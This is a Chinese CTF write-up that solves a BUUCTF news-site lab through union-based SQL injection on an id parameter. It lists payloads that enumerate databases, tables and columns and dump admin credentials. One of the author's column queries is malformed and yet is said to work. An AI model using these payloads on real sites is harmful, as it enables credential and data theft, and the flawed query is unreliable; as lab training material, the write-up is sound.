打开靶机,显示Buu新闻网,检查一下所有测试新闻,登陆界面,尝试找注入点,文件上传点,弱口令。均未发现异常。
检查一下源码,发现文件‘content_detail.php’,而且出现‘id?=1’。尝试注入
然后就是常规操作
?id=-1 and 1=1
回显正常,存在注入点。
?id=-1 order by 2
两列表
?id=-1 union select 1,2
title和conent正常回显1和2,说明没有过滤。
?id=-1 union select 1,database()
爆出数据库名为"news"
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="news"
爆出表名"admin,content"
?id=-1 union select 1,group_concat(table_column) from information_schema.columns where table_name="news"
爆字段名"id,username,password"
?id=-1 union select 1,group_concat(concat_ws(":",username,password)) from admin
爆出用户名密码
{"title":"1","content":"admin:51bb4693ca52717ff358218874a364d2"}
然后回到登陆界面用admin登录,拿到flag。
下面是其他人的一些sql语句
暴库:(information_schema,ctftraining,mysql,performance_schema,test,news)
?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
暴表:(admin,contents)
?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="news"
暴字段:(id,username,password)
?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="admin"
暴密码:
?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin
其实大体都差不多。